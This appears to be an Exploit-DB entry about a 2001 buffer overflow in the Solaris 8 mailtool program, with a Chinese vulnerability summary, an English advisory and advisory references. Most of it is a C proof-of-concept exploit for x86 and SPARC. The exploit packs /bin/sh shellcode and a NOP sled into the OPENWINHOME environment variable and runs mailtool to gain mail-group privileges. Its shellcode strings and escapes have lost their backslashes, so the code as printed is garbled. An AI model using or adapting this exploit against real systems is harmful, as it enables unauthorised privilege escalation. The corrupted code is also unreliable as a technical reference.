https://www.exploit-db.com/exploits/20885
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200108-046

Solaris8及其早期版本中mailtool使用的Xview库存在缓冲区溢出漏洞。本地攻击者借助OPENWINHOME环境变量提升特权。

source: http://www.securityfocus.com/bid/2787/info

The mailtool program included with OpenWindows in Solaris, contains a buffer overflow vulnerability which may allow local users to execute arbitrary code/commands with group 'mail' privileges.

The overflow occurs when a string exceeding approximately 1010 characters is given as the OPENWINHOME environment variable.

/*
mailt00l.c, by 51 (June 2001)

Proof of concept code, exploiting the recently discovered buffer overflow
in Solaris 8 /usr/openwin/bin/mailtool, yielding GID mail
(http://packetstorm.securify.com/groups/synnergy/mailtool-adv.txt).
Should work with both x86 and Sparc versions, thx to compilation directives.
As a matter of course, the defaults buffersize and offset may need to be
tweaked a bit.

Usage : ./mailt00l [buffersize] [offset]

Shouts to Trick for various mentoring...

mail : [email protected]
www.cyberarmy.com
www.g0tr00t.net
*/



#include <stdlib.h>

#define DEFAULT_OFFSET                 0
#define DEFAULT_BUFFER_SIZE            1600

#if defined(__i386__) && defined(__sun__)

#define ARCH "x86 Sun"
#define NOP_SIZE	1
char nop[] = "x90";
char shellcode[] =
  "xebx3bx9axffxffxffxffx07xffxc3x5ex31xc0x89x46xc1"
  "x88x46xc6x88x46x07x89x46x0cx31xc0x50xb0x17xe8xdf"
  "xffxffxffx83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89"
  "x5ex08x53xb0x3bxe8xc8xffxffxffx83xc4x0cxe8xc8xff"
  "xffxffx2fx62x69x6ex2fx73x68xffxffxffxffxffxffxff"
  "xffxff";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__)

#define ARCH "Sun Sparc"
#define NOP_SIZE	4
/* Shellcode ripped from Aleph1 */
char nop[]="xacx15xa1x6e";
char shellcode[] =
  "x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
  "x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
  "xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"
  "x90x1bxc0x0fx82x10x20x01x91xd0x20x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif


int main(int argc, char *argv[])
{
  char *ex[2];
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  printf("Archi: %sn", (char *)ARCH);

  if (!(buff = malloc(bsize)))
    {
      printf("Can't allocate memory.n");
      exit(0);
    }

  addr = get_sp() - offset;
  printf("Using address: 0x%xn", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = buff;
  for (i = 0; i < (bsize - strlen(shellcode)) / 2 - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      *(ptr++) = nop[n];
    }


  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '';
  memcpy(buff,"OPENWINHOME=",12);
  putenv(buff);
  printf("Now running: /usr/openwin/bin/mailtooln");
  ex[0] = "/usr/openwin/bin/mailtool";
  ex[1] = NULL;
  execv(ex[0], ex);
}

来源:XF
名称:solaris-mailtool-openwinhome-bo(6626)
链接:http://xforce.iss.net/static/6626.php
来源:BUGTRAQ
名称:20010528[synnergy]-Solarismailtool(1)bufferoverflowvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2001-05/0258.html